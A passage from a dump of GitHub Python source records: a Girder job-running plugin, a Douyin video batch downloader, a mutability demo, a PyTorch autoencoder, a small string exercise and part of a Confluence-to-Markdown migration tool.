logDiff.rstrip().split('\\n'):\n yield sseMessage(line)\n if endtime is None:\n result = AsyncResult(taskId,\n backend=getCeleryApp().backend)\n if (result.state == celery.states.FAILURE or\n result.state == celery.states.SUCCESS or\n result.state == celery.states.REVOKED):\n # Stop checking for messages in 5 seconds\n endtime = time.time() + 5\n time.sleep(0.5)\n\n # Signal the end of the stream\n yield 'event: eof\\ndata: null\\n\\n'\n\n # One more for good measure - client should not get this\n yield 'event: past-end\\ndata: null\\n\\n'\n\n return streamGen\n romanescoRunOutput.description = (\n Description('Show the output for a romanesco task.')\n .param('jobId', 'The job ID for this task.', paramType='path')\n .param('itemId', 'Not used.', paramType='path'))\n\n @access.public\n @rest.boundHandler(info['apiRoot'].item)\n @rest.loadmodel(map={'itemId': 'item'}, model='item',\n level=AccessType.READ)\n def romanescoRun(self, item, params):\n # Make sure that we have permission to perform this analysis.\n user = self.getCurrentUser()\n\n conf = info['config'].get('romanesco', {})\n requireAuth = conf.get('require_auth', False)\n fullAccessUsers = conf.get('full_access_users', [])\n safeFolders = conf.get('safe_folders', [])\n\n if (requireAuth and (not user or user['login'] not in fullAccessUsers)\n and item['folderId'] not in safeFolders):\n raise AccessException('Unauthorized user.')\n\n analysis = item.get('meta', {}).get('analysis')\n\n if type(analysis) is not dict:\n raise rest.RestException(\n 'Must specify a valid JSON object as the \"analysis\" metadata '\n 'field on the input item.')\n\n # Create the job record.\n jobModel = self.model('job', 'jobs')\n public = False\n if user is None:\n public = True\n job = jobModel.createJob(\n title=analysis['name'], type='romanesco_task',\n handler='romanesco_handler', user=user, public=public)\n\n # Create a token that is scoped for updating the job.\n jobToken = jobModel.createJobToken(job)\n\n # Get the analysis parameters (includes inputs & outputs).\n try:\n kwargs = json.load(cherrypy.request.body)\n except ValueError:\n raise rest.RestException(\n 'You must pass a valid JSON object in the request body.')\n\n apiUrl = cherrypy.url().rsplit('/', 3)[0]\n\n # These parameters are used to get stdout/stderr back from Celery\n # to Girder.\n kwargs['jobInfo'] = {\n 'url': '{}/job/{}'.format(apiUrl, job['_id']),\n 'method': 'PUT',\n 'headers': {'Girder-Token': jobToken['_id']},\n 'logPrint': True\n }\n\n job['kwargs'] = kwargs\n job['args'] = [analysis]\n job = jobModel.save(job)\n\n # Schedule the job (triggers the schedule method above)\n jobModel.scheduleJob(job)\n return jobModel.filter(job, user)\n romanescoRun.description = (\n Description('Run a task specified by item metadata.')\n .param('itemId', 'The item containing the analysis as metadata.',\n paramType='path')\n .param('kwargs', 'Additional kwargs for the worker task.',\n paramType='body'))\n\n @access.public\n def romanescoStopRun(jobId, params):\n task = AsyncResult(jobId, backend=getCeleryApp().backend)\n task.revoke(getCeleryApp().broker_connection(), terminate=True)\n return {'status': task.state}\n\n\n info['apiRoot'].collection.route(\n 'POST',\n ('romanesco', 'module'),\n romanescoCreateModule)\n\n info['apiRoot'].item.route(\n 'POST',\n ('romanesco', ':inputType', ':inputFormat', ':outputFormat'),\n romanescoConvertData)\n\n info['apiRoot'].item.route(\n 'GET',\n (':itemId', 'romanesco', ':inputType', ':inputFormat',\n ':outputFormat'),\n romanescoConvert)\n\n info['apiRoot'].item.route(\n 'GET',\n (':itemId', 'romanesco', ':jobId', 'status'),\n romanescoRunStatus)\n\n info['apiRoot'].item.route(\n 'GET',\n (':itemId', 'romanesco', ':jobId', 'result'),\n romanescoRunResult)\n\n info['apiRoot'].item.route(\n 'GET',\n (':itemId', 'romanesco', ':jobId', 'output'),\n romanescoRunOutput)\n\n info['apiRoot'].item.route(\n 'POST',\n (':itemId', 'romanesco'),\n romanescoRun)\n\n info['apiRoot'].item.route(\n 'DELETE',\n (':itemId', 'romanesco', ':jobId'),\n romanescoStopRun)\n\n events.bind('jobs.schedule', 'romanesco', schedule)\n events.bind('model.setting.validate', 'romanesco', validateSettings)\n","repo_name":"cjh1/romanesco","sub_path":"server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"26469416213","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport argparse\nimport os\nimport sys\nimport json\nimport yaml\nimport time\n\nfrom apiproxy.douyin.douyin import Douyin\nfrom apiproxy.douyin.download import Download\nfrom apiproxy.douyin import douyin_headers\nfrom apiproxy.common import utils\n\nconfigModel = {\n \"link\": [],\n \"path\": os.getcwd(),\n \"music\": True,\n \"cover\": True,\n \"avatar\": True,\n \"json\": True,\n \"folderstyle\": True,\n \"mode\": [\"post\"],\n \"number\": {\n \"post\": 0,\n \"like\": 0,\n \"allmix\": 0,\n \"mix\": 0,\n \"music\": 0,\n },\n 'database': True,\n \"increase\": {\n \"post\": False,\n \"like\": False,\n \"allmix\": False,\n \"mix\": False,\n \"music\": False,\n },\n \"thread\": 5,\n \"cookie\": None\n\n}\n\n\ndef argument():\n parser = argparse.ArgumentParser(description='抖音批量下载工具 使用帮助')\n parser.add_argument(\"--cmd\", \"-C\", help=\"使用命令行(True)或者配置文件(False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--link\", \"-l\",\n help=\"作品(视频或图集)、直播、合集、音乐集合、个人主页的分享链接或者电脑浏览器网址, 可以设置多个链接(删除文案, 保证只有URL, https://v.douyin.com/kcvMpuN/ 或者 https://www.douyin.com/开头的)\",\n type=str, required=False, default=[], action=\"append\")\n parser.add_argument(\"--path\", \"-p\", help=\"下载保存位置, 默认当前文件位置\",\n type=str, required=False, default=os.getcwd())\n parser.add_argument(\"--music\", \"-m\", help=\"是否下载视频中的音乐(True/False), 默认为True\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--cover\", \"-c\", help=\"是否下载视频的封面(True/False), 默认为True, 当下载视频时有效\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--avatar\", \"-a\", help=\"是否下载作者的头像(True/False), 默认为True\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--json\", \"-j\", help=\"是否保存获取到的数据(True/False), 默认为True\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--folderstyle\", \"-fs\", help=\"文件保存风格, 默认为True\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--mode\", \"-M\", help=\"link是个人主页时, 设置下载发布的作品(post)或喜欢的作品(like)或者用户所有合集(mix), 默认为post, 可以设置多种模式\",\n type=str, required=False, default=[], action=\"append\")\n parser.add_argument(\"--postnumber\", help=\"主页下作品下载个数设置, 默认为0 全部下载\",\n type=int, required=False, default=0)\n parser.add_argument(\"--likenumber\", help=\"主页下喜欢下载个数设置, 默认为0 全部下载\",\n type=int, required=False, default=0)\n parser.add_argument(\"--allmixnumber\", help=\"主页下合集下载个数设置, 默认为0 全部下载\",\n type=int, required=False, default=0)\n parser.add_argument(\"--mixnumber\", help=\"单个合集下作品下载个数设置, 默认为0 全部下载\",\n type=int, required=False, default=0)\n parser.add_argument(\"--musicnumber\", help=\"音乐(原声)下作品下载个数设置, 默认为0 全部下载\",\n type=int, required=False, default=0)\n parser.add_argument(\"--database\", \"-d\", help=\"是否使用数据库, 默认为True 使用数据库; 如果不使用数据库, 增量更新不可用\",\n type=utils.str2bool, required=False, default=True)\n parser.add_argument(\"--postincrease\", help=\"是否开启主页作品增量下载(True/False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--likeincrease\", help=\"是否开启主页喜欢增量下载(True/False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--allmixincrease\", help=\"是否开启主页合集增量下载(True/False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--mixincrease\", help=\"是否开启单个合集下作品增量下载(True/False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--musicincrease\", help=\"是否开启音乐(原声)下作品增量下载(True/False), 默认为False\",\n type=utils.str2bool, required=False, default=False)\n parser.add_argument(\"--thread\", \"-t\",\n help=\"设置线程数, 默认5个线程\",\n type=int, required=False, default=5)\n parser.add_argument(\"--cookie\", help=\"设置cookie, 格式: \\\"name1=value1; name2=value2;\\\" 注意要加冒号\",\n type=str, required=False, default='')\n args = parser.parse_args()\n if args.thread <= 0:\n args.thread = 5\n\n return args\n\n\ndef yamlConfig():\n curPath = os.path.dirname(os.path.realpath(sys.argv[0]))\n yamlPath = os.path.join(curPath, \"config.yml\")\n f = open(yamlPath, 'r', encoding='utf-8')\n cfg = f.read()\n configDict = yaml.load(stream=cfg, Loader=yaml.FullLoader)\n\n try:\n if configDict[\"link\"] != None:\n configModel[\"link\"] = configDict[\"link\"]\n except Exception as e:\n print(\"[ 警告 ]:link未设置, 程序退出...\\r\\n\")\n try:\n if configDict[\"path\"] != None:\n configModel[\"path\"] = configDict[\"path\"]\n except Exception as e:\n print(\"[ 警告 ]:path未设置, 使用当前路径...\\r\\n\")\n try:\n if configDict[\"music\"] != None:\n configModel[\"music\"] = configDict[\"music\"]\n except Exception as e:\n print(\"[ 警告 ]:music未设置, 使用默认值True...\\r\\n\")\n try:\n if configDict[\"cover\"] != None:\n configModel[\"cover\"] = configDict[\"cover\"]\n except Exception as e:\n print(\"[ 警告 ]:cover未设置, 使用默认值True...\\r\\n\")\n try:\n if configDict[\"avatar\"] != None:\n configModel[\"avatar\"] = configDict[\"avatar\"]\n except Exception as e:\n print(\"[ 警告 ]:avatar未设置, 使用默认值True...\\r\\n\")\n try:\n if configDict[\"json\"] != None:\n configModel[\"json\"] = configDict[\"json\"]\n except Exception as e:\n print(\"[ 警告 ]:json未设置, 使用默认值True...\\r\\n\")\n try:\n if configDict[\"folderstyle\"] != None:\n configModel[\"folderstyle\"] = configDict[\"folderstyle\"]\n except Exception as e:\n print(\"[ 警告 ]:folderstyle未设置, 使用默认值True...\\r\\n\")\n try:\n if configDict[\"mode\"] != None:\n configModel[\"mode\"] = configDict[\"mode\"]\n except Exception as e:\n print(\"[ 警告 ]:mode未设置, 使用默认值post...\\r\\n\")\n try:\n if configDict[\"number\"][\"post\"] != None:\n configModel[\"number\"][\"post\"] = configDict[\"number\"][\"post\"]\n except Exception as e:\n print(\"[ 警告 ]:post number未设置, 使用默认值0...\\r\\n\")\n try:\n if configDict[\"number\"][\"like\"] != None:\n configModel[\"number\"][\"like\"] = configDict[\"number\"][\"like\"]\n except Exception as e:\n print(\"[ 警告 ]:like number未设置, 使用默认值0...\\r\\n\")\n try:\n if configDict[\"number\"][\"allmix\"] != None:\n configModel[\"number\"][\"allmix\"] = configDict[\"number\"][\"allmix\"]\n except Exception as e:\n print(\"[ 警告 ]:allmix number未设置, 使用默认值0...\\r\\n\")\n try:\n if configDict[\"number\"][\"mix\"] != None:\n configModel[\"number\"][\"mix\"] = configDict[\"number\"][\"mix\"]\n except Exception as e:\n print(\"[ 警告 ]:mix number未设置, 使用默认值0...\\r\\n\")\n try:\n if configDict[\"number\"][\"music\"] != None:\n configModel[\"number\"][\"music\"] = configDict[\"number\"][\"music\"]\n except Exception as e:\n print(\"[ 警告 ]:music number未设置, 使用默认值0...\\r\\n\")\n try:\n if configDict[\"database\"] != None:\n configModel[\"database\"] = configDict[\"database\"]\n except Exception as e:\n print(\"[ 警告 ]:database未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"increase\"][\"post\"] != None:\n configModel[\"increase\"][\"post\"] = configDict[\"increase\"][\"post\"]\n except Exception as e:\n print(\"[ 警告 ]:post 增量更新未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"increase\"][\"like\"] != None:\n configModel[\"increase\"][\"like\"] = configDict[\"increase\"][\"like\"]\n except Exception as e:\n print(\"[ 警告 ]:like 增量更新未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"increase\"][\"allmix\"] != None:\n configModel[\"increase\"][\"allmix\"] = configDict[\"increase\"][\"allmix\"]\n except Exception as e:\n print(\"[ 警告 ]:allmix 增量更新未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"increase\"][\"mix\"] != None:\n configModel[\"increase\"][\"mix\"] = configDict[\"increase\"][\"mix\"]\n except Exception as e:\n print(\"[ 警告 ]:mix 增量更新未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"increase\"][\"music\"] != None:\n configModel[\"increase\"][\"music\"] = configDict[\"increase\"][\"music\"]\n except Exception as e:\n print(\"[ 警告 ]:music 增量更新未设置, 使用默认值False...\\r\\n\")\n try:\n if configDict[\"thread\"] != None:\n configModel[\"thread\"] = configDict[\"thread\"]\n except Exception as e:\n print(\"[ 警告 ]:thread未设置, 使用默认值5...\\r\\n\")\n try:\n if configDict[\"cookies\"] != None:\n cookiekey = configDict[\"cookies\"].keys()\n cookieStr = \"\"\n for i in cookiekey:\n cookieStr = cookieStr + i + \"=\" + configDict[\"cookies\"][i] + \"; \"\n configModel[\"cookie\"] = cookieStr\n except Exception as e:\n pass\n try:\n if configDict[\"cookie\"] != None:\n configModel[\"cookie\"] = configDict[\"cookie\"]\n except Exception as e:\n pass\n\n\ndef main():\n start = time.time() # 开始时间\n\n args = argument()\n\n if args.cmd:\n configModel[\"link\"] = args.link\n configModel[\"path\"] = args.path\n configModel[\"music\"] = args.music\n configModel[\"cover\"] = args.cover\n configModel[\"avatar\"] = args.avatar\n configModel[\"json\"] = args.json\n configModel[\"folderstyle\"] = args.folderstyle\n if args.mode == None or args.mode == []:\n args.mode = []\n args.mode.append(\"post\")\n configModel[\"mode\"] = list(set(args.mode))\n configModel[\"number\"][\"post\"] = args.postnumber\n configModel[\"number\"][\"like\"] = args.likenumber\n configModel[\"number\"][\"allmix\"] = args.allmixnumber\n configModel[\"number\"][\"mix\"] = args.mixnumber\n configModel[\"number\"][\"music\"] = args.musicnumber\n configModel[\"database\"] = args.database\n configModel[\"increase\"][\"post\"] = args.postincrease\n configModel[\"increase\"][\"like\"] = args.likeincrease\n configModel[\"increase\"][\"allmix\"] = args.allmixincrease\n configModel[\"increase\"][\"mix\"] = args.mixincrease\n configModel[\"increase\"][\"music\"] = args.musicincrease\n configModel[\"thread\"] = args.thread\n configModel[\"cookie\"] = args.cookie\n else:\n yamlConfig()\n\n if configModel[\"link\"] == []:\n return\n\n if configModel[\"cookie\"] is not None and configModel[\"cookie\"] != \"\":\n douyin_headers[\"Cookie\"] = configModel[\"cookie\"]\n\n configModel[\"path\"] = os.path.abspath(configModel[\"path\"])\n print(\"[ 提示 ]:数据保存路径 \" + configModel[\"path\"])\n if not os.path.exists(configModel[\"path\"]):\n os.mkdir(configModel[\"path\"])\n\n dy = Douyin(database=configModel[\"database\"])\n dl = Download(thread=configModel[\"thread\"], music=configModel[\"music\"], cover=configModel[\"cover\"],\n avatar=configModel[\"avatar\"], resjson=configModel[\"json\"],\n folderstyle=configModel[\"folderstyle\"])\n\n for link in configModel[\"link\"]:\n print(\"--------------------------------------------------------------------------------\")\n print(\"[ 提示 ]:正在请求的链接: \" + link + \"\\r\\n\")\n url = dy.getShareLink(link)\n key_type, key = dy.getKey(url)\n if key_type == \"user\":\n print(\"[ 提示 ]:正在请求用户主页下作品\\r\\n\")\n data = dy.getUserDetailInfo(sec_uid=key)\n nickname = \"\"\n if data is not None and data != {}:\n nickname = utils.replaceStr(data['user']['nickname'])\n\n userPath = os.path.join(configModel[\"path\"], \"user_\" + nickname + \"_\" + key)\n if not os.path.exists(userPath):\n os.mkdir(userPath)\n\n for mode in configModel[\"mode\"]:\n print(\"--------------------------------------------------------------------------------\")\n print(\"[ 提示 ]:正在请求用户主页模式: \" + mode + \"\\r\\n\")\n if mode == 'post' or mode == 'like':\n datalist = dy.getUserInfo(key, mode, 35, configModel[\"number\"][mode], configModel[\"increase\"][mode])\n if datalist is not None and datalist != []:\n modePath = os.path.join(userPath, mode)\n if not os.path.exists(modePath):\n os.mkdir(modePath)\n dl.userDownload(awemeList=datalist, savePath=modePath)\n elif mode == 'mix':\n mixIdNameDict = dy.getUserAllMixInfo(key, 35, configModel[\"number\"][\"allmix\"])\n if mixIdNameDict is not None and mixIdNameDict != {}:\n for mix_id in mixIdNameDict:\n print(f'[ 提示 ]:正在下载合集 [{mixIdNameDict[mix_id]}] 中的作品\\r\\n')\n mix_file_name = utils.replaceStr(mixIdNameDict[mix_id])\n datalist = dy.getMixInfo(mix_id, 35, 0, configModel[\"increase\"][\"allmix\"], key)\n if datalist is not None and datalist != []:\n modePath = os.path.join(userPath, mode)\n if not os.path.exists(modePath):\n os.mkdir(modePath)\n dl.userDownload(awemeList=datalist, savePath=os.path.join(modePath, mix_file_name))\n print(f'[ 提示 ]:合集 [{mixIdNameDict[mix_id]}] 中的作品下载完成\\r\\n')\n elif key_type == \"mix\":\n print(\"[ 提示 ]:正在请求单个合集下作品\\r\\n\")\n datalist = dy.getMixInfo(key, 35, configModel[\"number\"][\"mix\"], configModel[\"increase\"][\"mix\"], \"\")\n if datalist is not None and datalist != []:\n mixname = utils.replaceStr(datalist[0][\"mix_info\"][\"mix_name\"])\n mixPath = os.path.join(configModel[\"path\"], \"mix_\" + mixname + \"_\" + key)\n if not os.path.exists(mixPath):\n os.mkdir(mixPath)\n dl.userDownload(awemeList=datalist, savePath=mixPath)\n elif key_type == \"music\":\n print(\"[ 提示 ]:正在请求音乐(原声)下作品\\r\\n\")\n datalist = dy.getMusicInfo(key, 35, configModel[\"number\"][\"music\"], configModel[\"increase\"][\"music\"])\n\n if datalist is not None and datalist != []:\n musicname = utils.replaceStr(datalist[0][\"music\"][\"title\"])\n musicPath = os.path.join(configModel[\"path\"], \"music_\" + musicname + \"_\" + key)\n if not os.path.exists(musicPath):\n os.mkdir(musicPath)\n dl.userDownload(awemeList=datalist, savePath=musicPath)\n elif key_type == \"aweme\":\n print(\"[ 提示 ]:正在请求单个作品\\r\\n\")\n datanew, dataraw = dy.getAwemeInfo(key)\n if datanew is not None and datanew != {}:\n datalist = []\n datalist.append(datanew)\n awemePath = os.path.join(configModel[\"path\"], \"aweme\")\n if not os.path.exists(awemePath):\n os.mkdir(awemePath)\n dl.userDownload(awemeList=datalist, savePath=awemePath)\n elif key_type == \"live\":\n print(\"[ 提示 ]:正在进行直播解析\\r\\n\")\n live_json = dy.getLiveInfo(key)\n if configModel[\"json\"]:\n livePath = os.path.join(configModel[\"path\"], \"live\")\n if not os.path.exists(livePath):\n os.mkdir(livePath)\n live_file_name = utils.replaceStr(key + live_json[\"nickname\"])\n # 保存获取到json\n print(\"[ 提示 ]:正在保存获取到的信息到result.json\\r\\n\")\n with open(os.path.join(livePath, live_file_name + \".json\"), \"w\", encoding='utf-8') as f:\n f.write(json.dumps(live_json, ensure_ascii=False, indent=2))\n f.close()\n\n end = time.time() # 结束时间\n print('\\n' + '[下载完成]:总耗时: %d分钟%d秒\\n' % (int((end - start) / 60), ((end - start) % 60))) # 输出下载用时时间\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jiji262/douyin-downloader","sub_path":"DouYinCommand.py","file_name":"DouYinCommand.py","file_ext":"py","file_size_in_byte":17809,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"7"} +{"seq_id":"22079075283","text":"# this script demonstrates that the changes when functions operates on mutable objects such as\n# list and dataframe will reflect on the original object\n# A common misconception is that if an object with the same name created within\n# the function, then changes on the same name object will Not be reflected on original object!!!\n\n\ndef revise_list(example_list, method=1):\n\n # a new object is created, even though the name is 'example_list'\n # it is different from the 'example_list' of the function input\n # therefore the original 'example_list' does not point to the 'example_list'\n # in the funciton\n if method == 1:\n example_list = [2, 2]\n\n # Method 2:\n # this operates on the original 'example_list' object\n # which will change\n elif method == 2:\n example_list[0] = 2\n\n\nexample_list = [1, 2]\n\nrevise_list(example_list, method=1)\nprint(example_list) # result: [1, 2]\n\nrevise_list(example_list, method=2)\nprint(example_list) # result: [2, 2]\n\nimport pandas as pd\n\n\ndef revise_df(example_df, method=1):\n\n # a new object is created, even though the name is 'example_df'\n # it is different from the 'example_df' of the function input\n # therefore the original 'example_df' does not point to the 'example_df'\n # in the funciton, any changes on the new example_df won't be reflected on the\n # original 'example_df'\n if method == 1:\n example_df = pd.DataFrame([2, 2])\n example_df.index = [0, 1]\n\n # Method 2:\n # this operates on the original 'example_df' object\n # which will change original 'example_df'\n elif method == 2:\n # example_df.iat[0, 0] = 2\n example_df.reset_index(inplace=True, drop=True)\n\n\nexample_df = pd.DataFrame([1, 2], index=[\"a\", \"b\"])\nexample_df.set_index(keys=0)\n\nrevise_df(example_df, method=1)\nprint(example_df)\n\nrevise_df(example_df, method=2)\nprint(example_df)\n","repo_name":"data-intellisense/machine-learning-mini-projects","sub_path":"microproj/object_modification.py","file_name":"object_modification.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4804753398","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n# build the Auto encoder net work model\n# 建立auto-encoder编码机模型\nclass AutoEncoder(nn.Module):\n def __init__(self):\n super(AutoEncoder, self).__init__()\n\n self.encoder = nn.Sequential(\n nn.Linear(28 * 28, 256),\n nn.Tanh(),\n nn.Linear(256, 128),\n nn.Tanh(),\n nn.Linear(128, 64),\n nn.Tanh(),\n nn.Linear(64, 12),\n nn.Tanh(),\n nn.Linear(12, 2), # 28*28 -> 2\n )\n\n self.decoder = nn.Sequential(\n nn.Linear(2, 12),\n nn.Tanh(),\n nn.Linear(12, 64),\n nn.Tanh(),\n nn.Linear(64, 128),\n nn.Tanh(),\n nn.Linear(128, 256),\n nn.Tanh(),\n nn.Linear(256, 28 * 28),\n nn.Sigmoid(), # 压缩到(0, 1)区间内\n )\n\n def forward(self, input_data):\n encode_reuslt = self.encoder(input_data)\n decode_result = self.decoder(encode_reuslt)\n\n return encode_reuslt, decode_result\n\n# build the classifier net work model\n# 定义分类器模型\nclass Classifier(torch.nn.Module):\n def __init__(self, n_feature, n_hidden, n_output):\n super(Classifier, self).__init__()\n self.hidden = torch.nn.Linear(n_feature, n_hidden)\n self.out = torch.nn.Linear(n_hidden, n_output)\n\n def forward(self, input_data):\n input_data = F.relu(self.hidden(input_data))\n input_data = self.out(input_data)\n return input_data\n\n\n\n","repo_name":"kkoogqw/neural_network","sub_path":"auto_encoder/AutoEncoder/AutoEncoder.py","file_name":"AutoEncoder.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9223979639","text":"#!use/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Week Seven Warmup Loops.\"\"\"\n\nimport decimal\n\n\ndef lexicographics(to_analyze):\n \"\"\"Calculates the min, max and average length.\n\n Args:\n to_analyze (str): argument to calculate min, max and avrge for.\n\n Returns:\n Tuple (mixed): integers and decimal.\n\n Examples:\n\n >>>lexicographics('''Don't stop believeing, Hold on to that feeling.''')\n (5, 3, Decimal(4.0))\n \"\"\"\n lines = to_analyze.split(\"\\n \")\n min = 0\n max = 0\n sum = 0\n counter = 0.0\n for item in range(len(lines)):\n data = lines[item].split(\" \")\n if len(data) > max:\n max = len(data)\n if len(data) < min:\n min = len(data)\n\n counter = counter + 1.0\n sum = sum + len(data)\n\n return (max, min, decimal.Decimal(sum)/decimal.Decimal(counter))\n","repo_name":"mery81/is210-week-07-warmup","sub_path":"task_03.py","file_name":"task_03.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"35288850305","text":"import mmap\nimport os\nimport re\nimport shutil\n\nfrom anytree import Node, PreOrderIter\nfrom markdownify import markdownify as md\nfrom migcon.attachment_info import AttachmentInfo, Attachment, process_tokens\nfrom migcon.drawio_handler import copy_drawio_file, handle_attachment\nfrom migcon.file_dups import find_duplicates\nfrom markdown_it import MarkdownIt\nfrom pathlib import Path\nfrom typing import Dict, Tuple\n\nREMOVE_STRING_A = ''\nREMOVE_STRING_B = ''\n\n\ndef get_dest_file_from_node(node: Node) -> Path:\n if node.parent:\n filename = f\"{node.filepath.name}.md\"\n dest_dir = node.parent.filepath\n else:\n filename = f\"{node.name}.md\"\n dest_dir = node.filepath\n return Path(dest_dir, filename)\n\n\ndef copy_into_dir_tree(src_dir: Path, structure: Node) -> None:\n \"\"\"\n Copies the source file into the new directory structure (provided by structure argument)\n\n :param src_dir: source directory\n :param structure: hierarchy of new directory structure\n \"\"\"\n for node in PreOrderIter(structure):\n if len(node.children) > 0:\n node.filepath.mkdir(parents=True, exist_ok=True)\n dest = get_dest_file_from_node(node)\n src = Path(src_dir, dest.name)\n shutil.copy(src, dest)\n\n\ndef rewrite_links(structure: Node, replacement_files: Dict[str, str]) -> None:\n \"\"\"\n Rewrites Markdown links based on the new directory structure created by running the conversion\n :param structure: hierarchy of new directory structure\n :param replacement_files: a dictionary of file name (flat) to file name (relative to new root)\n \"\"\"\n for node in PreOrderIter(structure):\n target_file = get_dest_file_from_node(node)\n if target_file.is_file():\n _rewrite_links(target_file, replacement_files)\n\n\ndef _rewrite_links(file: Path, replacement_files: Dict[str, str]) -> None:\n \"\"\"\n Rewrites Markdown links based on the new directory structure created by running the conversion\n :param file: source markdown file\n :param replacement_files: a dictionary of file name (flat) to file name (relative to new root)\n \"\"\"\n class Fixup:\n def __init__(self):\n self.changed = False\n\n def fixup(self, match) -> str:\n link_target = match.group(1)\n if link_target in replacement_files:\n self.changed = True\n return f'](/{replacement_files[link_target]})'\n return f']({link_target})'\n\n with open(file, mode='r+') as input_file:\n data = input_file.read()\n\n fixup = Fixup()\n flags = re.IGNORECASE | re.DOTALL | re.MULTILINE\n new = re.sub(']\\((.*?)\\)', fixup.fixup, data, 0, flags)\n\n if fixup.changed:\n with open(file, mode='w') as output_file:\n output_file.write(new)\n\n\ndef get_attached_files(structure: Node) -> Dict[Path, AttachmentInfo]:\n \"\"\"\n Returns a dictionary of target file paths to attachment information\n :param structure: root of the content tree\n :return: mapping of target file to attachment information for that file\n \"\"\"\n attached_files = {}\n for node in PreOrderIter(structure):\n file = get_dest_file_from_node(node)\n if file.is_file():\n page_name = file.stem\n attachment_info = get_attachment_info(file, page_name)\n if attachment_info:\n attached_files[file] = attachment_info\n return attached_files\n\n\ndef get_attachment_info(file: Path, page_name: str) -> AttachmentInfo:\n \"\"\"\n Process the \"Attachments\" section of the input file. We are preparing to do the following:\n 1. Identify the drawio mx files so, we can create an inflated version of the xml for the drawio directive\n 2. Provide meaningful names for attachments in general\n 3. Map the page id (used as the attachment directory) to a meaningful name (page name)\n :param file: the source file\n :param page_name: the page name\n :returns: a dictionary that holds the mapping information\n \"\"\"\n with file.open(mode='r+') as input_file:\n with mmap.mmap(input_file.fileno(), length=0, access=mmap.ACCESS_READ) as mmap_in:\n attachments_offset = mmap_in.rfind(b'
    \\n\\n## Attachments:')\n if attachments_offset >= 0:\n # we have a section header, so we can process the attachments\n # read from there to end of file\n mmap_in.seek(attachments_offset)\n data = mmap_in.read().decode('utf-8')\n # not sure why but the Markdown parser doesn't work properly with the following line, so just remove\n # it. Confluence is pretty standard on this line in exports, so it's relatively safe, even though\n # it's a bit of a hack.\n data = data.replace(REMOVE_STRING_A, '').replace(REMOVE_STRING_B, '')\n md = MarkdownIt(\"commonmark\")\n tokens = md.parse(data)\n # now we have a list of tokens, so we can process them\n return process_tokens(tokens, page_name)\n\n\ndef process_attachments(source: Path, tree: Node) -> Dict[Path, AttachmentInfo]:\n \"\"\"\n Gathers information on the attachments for each source page. It is common for Confluence to attach multiple\n copies of the same file (different versions perhaps, but often they are identical). This function will\n aggregate all the attachments for each file, and then return a dictionary of the form:\n {\n : \n }\n as well as copying the attachments from the source directory into the target directory tree with meaningful\n names rather than page id and attachment ids.\n :param source: Root directory of the source files\n :param tree: content tree\n :return: dictionary mapping target files to attachment information\n \"\"\"\n attachment_dir = tree.filepath / 'attachments'\n attachment_dir.mkdir(exist_ok=True)\n attachments = get_attached_files(tree)\n for parent_page, attachment_info in attachments.items():\n files_copied = 0\n files_skipped = 0\n page_dir = attachment_dir / attachment_info.page_name\n page_dir.mkdir(exist_ok=True)\n for meaningful_name, attachment in attachment_info.attachments.items():\n copied, skipped = copy_attachment(source, page_dir, attachment, meaningful_name, parent_page)\n files_copied += copied\n files_skipped += skipped\n # after copying all attachments, ensure that the same number of files appear in the source and target\n # directories\n source_dir = source / next(iter(next(iter(attachment_info.attachments.values())).files.values()))[0]\n source_dir = source_dir.parent\n source_count = len(list(source_dir.glob('*')))\n dest_count = files_copied + files_skipped\n if source_count != dest_count:\n # If you see this warning, there is another case to add to test_content_manager\n print(f'Warning: {files_copied} files were copied to {page_dir}, and {files_skipped} were skipped '\n f'due to duplication detection or missing file, but there are {source_count} files in the '\n f'{source_dir}.')\n return attachments\n\n\ndef copy_attachment(source: Path, page_dir: Path, attachment: Attachment, meaningful_name: str, parent_page: Path)\\\n -> Tuple[int, int]:\n \"\"\"\n Copy the attachment to the attachment directory.\n :param source: the source directory\n :param page_dir: the directory to copy the attachment to\n :param attachment: the attachment_obj that holds the attachments to copy\n :param meaningful_name: the name of the attachment\n :param parent_page: the page that the attachment is attached to\n :return: Tuple of (# of files copied, # of files skipped)\n \"\"\"\n files = []\n for attachment_type, file_paths in attachment.files.items():\n # we will ignore attachment type. The cases we've seen with same name for different types are:\n # application/octet-stream and application/json...\n for file_name in file_paths:\n files.append(source / file_name)\n deduped_files = find_duplicates(files)\n is_drawio = '(application/vnd.jgraph.mxfile)' in attachment.files\n idx = 0\n files_copied = 0\n files_skipped = 0\n for source_file, skipped_files in deduped_files.items():\n files_skipped += len(skipped_files)\n if is_drawio:\n # drawio files are placed in the same directory as the parent page\n dest_file = parent_page.parent / f'{meaningful_name}'\n else:\n dest_file = 